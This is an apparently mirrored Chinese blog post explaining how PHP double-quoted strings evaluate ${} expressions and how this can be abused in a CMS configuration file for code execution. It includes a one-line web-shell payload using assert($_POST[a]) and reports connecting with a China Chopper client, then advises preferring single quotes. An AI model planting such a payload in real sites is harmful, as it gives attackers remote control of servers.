zoukankan      html  css  js  c++  java
  • PHP中双引号引起的命令执行漏洞

    前言

    在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。

    正文

    举个简单例子

    <?php
    $a = 1;
    $b = 2;
    echo '$a$b';//输出结果为$a$b
    echo "$a$b";//输出结果为12
    ?>
    

    可以看到这两个输出的结果并不相同。

    在双引号中倘若有${}出现,那么{}内的内容将被当做代码块来执行。

    可以看到成功执行了phpinfo()


    试想一下,倘若在一个cms的后台,可以修改数据库的配置文件,且配置文件中的值用双引号包括,我们虽然也可以直接闭合代码达到getshell的后果,但是如果cms对传递的参数进行了addlashes()处理的话,我们就无法去闭合代码了,但这时我们可以传入${命令}就可以达到getshell的目的。


    现在,让我们来修改一下代码,让我们不只能输出phpinfo

    <?php echo "${@assert($_POST[a])}";?> //@是用来防止输出错误信息的
    


    菜刀成功连接

    总结

    本文简单记录了双引号可能会引发的代码执行的情况
    对于这种漏洞的防御,一定要明确单引号与双引号的区别所在,不要简单认为两者是互相可以替代的,在平时的代码书写中能只用单引号一定不要用双引号,毕竟单引号的解释时间也比双引号少得多,代码运行相对更快。

  • 相关阅读:
    从面向对象到SOA
    我对国内软件开发类书籍出版与写作的体会与努力
    MSDN for 2010的那些麻烦事
    金旭亮新作《.NET 4.0面向对象编程漫谈》之序“穿越梦想、起锚远航”
    Silverlight应用程序的本地通讯
    C#中Dictionary的用法
    泛型
    动态规划算法
    C# Timer
    面向对象程序设计寒假作业1
  • 原文地址:https://www.cnblogs.com/yunen/p/10600410.html
Copyright © 2011-2022 走看看